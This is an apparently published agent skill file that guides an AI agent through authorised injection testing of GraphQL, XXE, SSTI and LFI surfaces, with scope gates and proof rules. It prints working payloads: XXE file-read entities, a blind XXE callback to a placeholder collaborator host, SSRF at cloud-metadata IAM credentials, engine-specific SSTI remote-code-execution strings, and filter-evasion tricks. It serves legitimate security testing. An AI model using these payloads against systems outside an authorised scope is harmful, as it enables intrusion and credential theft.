# Hunt Injection

> Turn a template/XML/GraphQL surface into evidence-carrying CANDIDATES

- Skill: `encod3d-sec/hunt-injection-2` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx get-skill add encod3d-sec/hunt-injection-2`
- Raw SKILL.md: https://api.skillmd.com/api/skills/encod3d-sec/hunt-injection-2/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Encod3d-Sec (https://skillmd.com/u/encod3d-sec)
- Updated: 2026-11-16
- Page: https://skillmd.com/skills/encod3d-sec/hunt-injection-2

---


# Hunt: GraphQL / XXE / SSTI (golden-image rework)

Turn a template/XML/GraphQL surface into evidence-carrying CANDIDATES
for SSTI, XXE, GraphQL authz/traversal, and LFI/RFI. This skill
produces candidates, never verdicts - findings leave ONLY through the
G1 proof gate (triage).

> Current emphasis (update on wiki harvest): OOB-mandatory blind XXE
> and GraphQL field-suggestion mining over introspection-only
> enumeration - models over-index on over-represented old methods;
> the newest harvested technique leads until superseded.

**Assumes `hunt-core`** for the scope gate, two-account rule,
confirmation gate, enumeration limits, stop conditions, wiki protocol,
FIND output, and Deadends. Do not re-derive any of that here.

## Wiki

Hub: [[web-moc]] - Primary page: [[ssti]] - Payload arsenal:
`wiki/payloads/ssti.md`
Anchors: [[xxe]], [[graphql-attacks]], [[xslt-injection]], [[xslt]],
[[path-traversal-lfi]] (payloads: `wiki/payloads/lfi-path-traversal.md`)
**REFS:** [[ssti]], wiki/payloads/ssti.md

mcp__wiki-search__query (lex) "SSTI XXE GraphQL injection template injection XML external
entity" via wiki-search MCP - ONLY on a concrete hint the map above
does not cover; not a blanket first step.

Shared bypass arsenal (blocked implies research, but walk this first): `skills/exploit/hunt/hunt-injection/references/bypass-arsenal.md` - two-stage stored SSTI (StyleSmuggler class, OOB-only proof), Twig _context dump -> reset-token ATO, FreeMarker ?api under SAFER resolver, XXE-in-file carriers (XMP/OOXML/EPUB/KMZ), local-DTD error-based, GraphQL federation _entities + APQ, CSV null-split, LaTeX ^^ hex revival.

## Paths (binding - define once at the top of the run notes)

    # seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
    ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/injection/<host>
    # VM side (WHERE tools run, same tree through the VMware share):
    ENG_DIR=/mnt/VMshare/<eng>/<eng>
    RUN=$ENG_DIR/hunt/injection/<host>

Corpus and probes live in the VMshare tree; the VM runs tools against
the /mnt/VMshare spelling as user tz; the seat reads the same bytes at
the /mnt/c/Users/Lenovo/Desktop/VMshare spelling. The repo tree targets/
<eng> is admin/ingest only - probe artifacts NEVER land there.

## Transport

Every VM-native command block ships through ONE documented transport:

    cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'

- vm-ssh lands as user tz (NOT root): no root-only paths, no sudo.
- vm-ssh.sh takes the command as ONE argument. Commands containing
  quotes ship as base64: write the script, then run
  `echo <b64> | base64 -d | bash` inside the vm-ssh argument.
- Non-login shells do NOT source profile.d: the PATH scope-shim is NOT
  active. Target-facing fetches MUST use the shim binaries by absolute
  path /opt/scope-shim/bin/{curl,httpx}.
- Shim verdict semantics (verified live): explicit out-of-scope host
  dies rc 126 (never work around it); in-scope passes; UNKNOWN hosts
  get an ADVISORY and the fetch proceeds - an advisory is NOT approval;
  verify against scope.md and self-deny anything not clearly in scope.
- Commands longer than ~2 minutes run DETACHED (bash scripts/vm-scan.sh
  <eng> <target> '<cmd>' or nohup + DONE-marker poll) - the direct
  bridge drops at ~2min and empty output then reads as a dead target.

## Entry gate

All four must pass before Step 1; each is falsifiable:

1. Active engagement exists (repo tree targets/<eng>/active.md) and
   <host> is on the targets/<eng>/scope.md in-scope list. Scope-guard
   is the deny. (targets/ is the repo admin tree; $ENG_DIR holds
   corpus and run artifacts only - see Paths.)
2. hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md - it owns
   scope gate, two-account rule, confirmation gate, enum limits; never
   restated here).
3. Producer verified - at least ONE of:
   (a) $ENG_DIR/state.md asset table has >= 1 GraphQL/XML-upload/
   template endpoint row for <host>; \
   (b) $ENG_DIR/js/<domain>/findings/endpoints.jsonl parses AND its
   manifest.sha256 sidecar passes `sha256sum -c` run FROM that
   findings/ dir on the VM (apollo/ApolloClient/gql bundle markers
   count as GraphQL surface); \
   (c) the kickoff seeded $RUN/raw/class-map.md.
   None = dispatch the surface lane first; never probe blind.
4. Toolchain preflight (fails LOUD):

       # install-on-demand (operator rule): try interactsh before the fatal loop
       [ -x /home/tz/go/bin/interactsh-client ] || { \
           command -v go >/dev/null \
             && HOME=/home/tz go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@v1.2.0 2>/dev/null; }
       for t in /usr/bin/jq /usr/bin/python3 \
                 /opt/scope-shim/bin/curl \
                 /home/tz/go/bin/interactsh-client; do
         [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; }
       done

## Checklist (mandatory)

Copy checklist.md (this skill's dir) to
`$ENG_DIR/hunt/injection/<host>/injection-checklist.md` at run start.
Tick boxes as steps finish; unchecked at stop = UNCHECKED lane, re-run
from the first unchecked step. The SKILL.md text and the checklist
header agree byte-for-byte on that copy target.

## Nudge

Review-skill re-injection text (pinned for vocabulary match; NOTE: the
completion-gate script itself emits a different generic nudge - see
scripts/completion-gate.py NUDGE - both strings mean the same thing:
resume at the first unchecked box):

    Your work was just reviewed by the review skill and it was found
    that you either missed a step of analysis, or didn't generate an
    artifact of sufficient proof. Look at the markdown based checklist
    and the output for each step, find what you missed, and complete
    that step.

On this nudge: resume at the FIRST unchecked box of
$ENG_DIR/hunt/injection/<host>/injection-checklist.md - never restart
the run from zero. REVIEW may only be ticked after every earlier box
is ticked.

## Methodology

**Fingerprint the class FIRST, then escalate the confirmed one.**
GraphQL endpoints (/graphql, /gql), XML/upload/SAML parsers (SVG/
DOCX/SOAP/ACS), template-rendered fields (PDF/invoice/email/name).
One pass classifies every surface: {{7*7}}->49 for SSTI,
__typename/introspection for GraphQL, an inline file:// entity for
XXE. Escalate only what answered: SSTI->RCE, XXE->file-read/SSRF,
GraphQL nested-resolver->IDOR.

### Step 1 - Class fingerprint

Row schema `surface | class verdict | evidence`:

    { \
      echo "/graphql | graphql | __typename 200"
      echo "/upload.svg | xxe | file entity resolved"
      echo "/invoice/name | ssti | {{7*7}} -> 49"
    } >> "$RUN"/raw/class-map.md

Per-class N/A verdicts recorded HERE (no GraphQL surface / no XML
parser surface / no template-render surface).

## GRAPHQL

### Step 2 - Introspection probe

    /opt/scope-shim/bin/curl -s -X POST https://<host>/graphql \
      -H "Content-Type: application/json" \
      -d '{"query":"{ __schema { queryType { fields { name } } } }"}'

If blocked, try: {"query":"{ __typename }"} - that alone confirms
GraphQL is live.

### Step 3 - Schema map

Use InQL (Burp extension) or graphql-voyager. Push load-bearing
queries/mutations to Burp Repeater (Skill(hunt-burp) / the Burp MCP)
so the operator can replay them. Introspection disabled -> field-
suggestion mining (typo a field, the error often names valid ones),
alias-based enumeration for parallel object access, and query batching
(array body) to bypass per-request rate limits and some auth checks.

### Step 4 - GraphQL IDOR / authz

Find REST/GraphQL overlap (resources modifiable via BOTH APIs); replay
queries/mutations with another user's object IDs (two-account canary);
lower-priv session calling admin mutations; test persistent privilege
after REST revokes access - does GraphQL re-grant?

## XXE

### Step 5 - Ranked surface + classic file read

Rank: SAML ACS and document/office upload converters FIRST (parsers
there routinely resolve external entities), then any endpoint you can
flip to Content-Type: application/xml. Surface markers: /upload
/import /parse /convert /saml/acs /soap/*; Content-Type: application/
xml or text/xml; SVG/DOCX/XLSX/PPTX upload features.

    <?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <root><data>&xxe;</data></root>

### Step 6 - Blind OOB (when no reflection)

    <?xml version="1.0"?>
    <!DOCTYPE foo [
      <!ENTITY % xxe SYSTEM "http://YOUR_COLLAB/xxe?x="> %xxe; \
    ]>
    <root>test</root>

oob.md row planted (targets/<eng>/oob.md; token | sink | xxe | date |
waiting | source); a blind claim REQUIRES a HIT row. Tokens mirrored
to $RUN/raw/oob-tokens.md.

### Step 7 - XXE -> SSRF

    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

Full SSRF surface (redirect bypass, protocol smuggling): hunt-ssrf.

### Step 8 - XXE evasion ladder

XML/DTD rejected -> switch vector (SVG/DOCX/XLSX/PPTX upload, or a
Content-Type: application/xml swap on a JSON endpoint), UTF-16/UTF-7
re-encode the payload, wrap the leaked file through
php://filter/convert.base64-encode/resource= for binary/PHP source,
and use parameter entities + an external DTD when the inline DOCTYPE
is blocked. One row per tried evasion with outcome.

## SSTI

### Step 9 - Detection battery (try ALL - different engines respond
to different syntax)

    {{7*7}}      -> 49 = Jinja2 / Twig
    ${7*7}       -> 49 = Freemarker / Velocity / SpEL
    <%= 7*7 %>   -> 49 = ERB (Ruby)
    #{7*7}       -> 49 = Mako
    *{7*7}       -> 49 = Spring Thymeleaf
    {{7*'7'}}    -> 7777777 = Jinja2 (not Twig)

A LITERAL reflection is NOT detection. Where to test, highest yield
first: PDF/invoice generators and email-template fields (server-side
render by design), then name/bio/description fields, invoice names,
search queries reflected in results, URL path parameters, HTTP headers
reflected in responses.

### Step 10 - RCE escalation (engine-matched, safe command FIRST)

    # Jinja2
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

    # Twig (PHP)
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

    # ERB (Ruby)
    <%= `id` %>

    # Freemarker
    <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}

    # Spring Thymeleaf SpEL
    *{T(java.lang.Runtime).getRuntime().exec('id')}

Prove RCE with a harmless command (id / whoami) first - never lead
with a destructive command. Sandbox-escape gadget chains and OOB-blind
RCE: hunt-rce.

SSTI evasion: {{7*7}} filtered or returned literally -> cycle every
engine syntax above, then bypass keyword filters via attribute-access
variants (request["application"] vs request.application), string
concatenation to rebuild blocked names, hex/unicode escapes. WAF on
__class__ -> |attr('__class__').

## LFI/RFI

### Step 11 - Wrapper gate

Template/?page=-style params route here too: confirm the read via
php://filter base64 disclosure, and gate EVERY wrapper/RFI RCE attempt
on the php.ini allow_url_include/expect check instead of guessing.
Full ladder (uploads, log poisoning, filter chains):
[[path-traversal-lfi]] and [[lfi-path-traversal]].

### Step 12 - Exit artifact (candidates)

Merge probe JSONLs (union, truncate+dedupe on endpoint+method+class;
keys class|host|endpoint|method|evidence|confidence|next).
candidates.md: human table + probe counts, EVERY class section present
("no hits" where true; a missing class section = failed lane).
Pointer $ENG_DIR/hunt-injection-<host>.md:

    INJECTION-HUNT-DONE graphql=<n> xxe=<n> ssti=<n> lfi=<n>

Plus: _requests.md rows (lane = hunt-injection), state.md asset rows
(access=exploit-candidate, source=hunt-injection), Deadends rows with
the WHY.

Every probe JSONL row: {class, host, endpoint, method, evidence
(absolute probes/raw/ path), observed, confidence}. Every request/
response pair under $RUN/probes/raw/ (filename = sha256 of
method+path+body).

## Chaining

- **SSTI -> RCE.** Evaluation confirmed -> escalate with the engine
  payload (safe command first). Sandbox-escape gadget chains and
  OOB-blind RCE: hunt-rce.
- **XXE -> SSRF / file read.** Point the entity at cloud metadata or
  an internal service; full SSRF surface: hunt-ssrf. File read
  escalates to source/config disclosure and further creds.
- **GraphQL IDOR / auth bypass -> object enumeration.** Nested-resolver
  and node(id:) traversal are IDOR - hunt-idor (two-account method) or
  hunt-api (BOLA/BFLA, mass assignment, batching).
- **File inclusion (LFI/RFI).** php://filter confirm; allow_url_include
  gate; full ladder: [[path-traversal-lfi]], [[lfi-path-traversal]].

## Confirmation gate

Per hunt-core. Reproduce every claim in a clean session before
scaffolding a FIND; a response body on its own is not proof.

**SSTI - NOT confirmation:** a {{7*7}} (or ${7*7} / <%= 7*7 %>)
reflected back LITERALLY; an error naming the template engine; input
echoed unchanged.
**SSTI - IS confirmation:** the expression is EVALUATED - {{7*7}}
renders 49, {{7*'7'}} renders 7777777, or a rendered object comes back
(e.g. a dumped config object). RCE is confirmed only when a safe
command (id / whoami) returns its real output.

**XXE - NOT confirmation:** a parser error, a 500, or "entity not
allowed" - these prove XML is parsed, not that the entity resolved.
**XXE - IS confirmation:** the external entity resolves to real
content - /etc/passwd (or metadata creds) reflected in the response,
OR an out-of-band callback.

**Blind XXE / blind SSTI need an OOB HIT.** Plant the payload at your
own interactsh/Collaborator listener and append the oob.md row
(targets/<eng>/oob.md; token | sink | <true class> | date | waiting |
source). The recon-capture hook flips waiting -> HIT and SessionStart
surfaces HITs; the HIT row is the gate to scaffold the FIND. Do NOT
claim a blind XXE (or blind SSTI) without a HIT row.

## Validation

- Proof per sub-class: XXE = OOB file read or DNS exfil with a unique
  entity name; SSTI = engine-specific payload computing 7*7 AND a
  template error naming the engine (both, or it is arithmetic); \
  GraphQL = a cross-object traversal returning data the caller should
  not reach, with the two-account canary when objects are user-scoped.

## False Positives

- Input reflected in an ERROR message (echo, not evaluation).
- GraphQL introspection open by published policy.
- XXE blocked by parser hardening (external entities disabled at the
  loader).
- Math output from a legitimate calculator/formula feature.
- NoSQL operator injection claimed without the operator actually
  changing the query shape (diff the response, not the request).

## Cross-routing

- hunt-rce when SSTI/template exec escalates to code.
- hunt-sqli for SQL-dialect depth once the sink is SQL.
- hunt-llm when the "template" is a model prompt.
- Not this skill: header/reflection markup issues (hunt-xss).

## Severity

| Confirmed | Severity |
|---|---|
| SSTI -> RCE | critical |
| SSTI, sandboxed (no RCE) | medium |
| XXE file read | high (critical if cloud-metadata creds retrieved) |
| XXE -> SSRF | high |
| GraphQL IDOR / auth bypass | high |

## Deadends

    Append: - [ ] XXE on <host> -- XML rejected (JSON-only), SVG
    sanitized, parameter entities blocked; SSTI -- {{7*7}} literal
    across all engines; GraphQL -- introspection off, no field
    suggestions

Record what you tried, not just that it failed. The next pass needs
the boundary.

## N/A escapes

- "N/A: no GraphQL surface"
- "N/A: no XML parser surface"
- "N/A: no template-render surface"
- "N/A: no template/page param"
- "N/A: no evaluated engine" (SSTI detected but sandboxed/no-RCE path)
An N/A tick is a claim with a reason, never a silent pass. Identical
strings in SKILL.md and checklist.md.

## Bitter-pill variant

When the kickoff designates this run freehand: skip the checklist copy
and numbered steps, one freehand pass over the class map, output lands
ONLY in $RUN/analysis/bitter-pill.md (tried / found / dismissed, every
claim carries file:line or request evidence). Never edits structured
outputs. Proof gates still apply - freehand never skips proof, and the
OOB-mandatory rule survives freehand. Declare with one _requests.md row
(lane = hunt-injection-bitterpill) so completion-gate routes to this
artifact contract instead of the checklist ledger.

### Depth walk (mandatory)

Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in `$RUN/coverage-depth.md` as a table
`| row | state | evidence |` where state is `probed`, `blocked`, or
`N/A`, and evidence is a probe-pair path or a Deadends.md line. A bare
`probed` with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).

Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one `mcp__wigolo__search` for the
specific tech-plus-control bypass. Results, or a genuine null, land in
`coverage-depth.md`. "No research tried" is not a claimable state.

### XPath injection

Where user input lands in an XPath query (XML-backed endpoints, SAML
assertions, legacy SOAP): boolean oracles first, then error-based, then
blind one-char extraction. Arsenal rows: `wiki/payloads/xpath.md`.

## Exit artifact + handoff

ONE exit artifact set: $RUN/candidates.jsonl (machine) +
candidates.md (human) + $ENG_DIR/hunt-injection-<host>.md (pointer
with INJECTION-HUNT-DONE + counts). The consumer (triage) finds at
$RUN: raw/class-map.md, raw/oob-tokens.md, probes/*.jsonl,
probes/raw/*, candidates.{jsonl,md}. Findings leave ONLY through G1
(triage). Distill confirmed GENERIC patterns: `python3
scripts/wiki-stage.py --kind technique --slug <slug> --target-page
techniques/web/ssti.md` (XXE -> techniques/web/xxe.md; GraphQL ->
techniques/web/graphql-attacks.md).

## Stop conditions

Terminal states complete (probed | N/A with reason | deadend row
written), nothing written into skill dirs (skills/exploit/hunt/
hunt-injection/ stays untouched), no unchecked boxes above REVIEW.
hunt-core stop conditions fire unchanged.

## Attack surface

**APPROACH:** Fingerprint the class first - `{{7*7}}`->49 for SSTI, `__typename`/introspection for GraphQL, an inline `file://` entity for XXE - then escalate the confirmed one (SSTI->RCE, XXE->file-read/SSRF, GraphQL nested-resolver->IDOR).
**AVOID:** A literal `{{7*7}}` reflection, a parser 500 / "entity not allowed", or introspection-disabled alone is NOT confirmation; blind XXE/SSTI need an OOB HIT row.

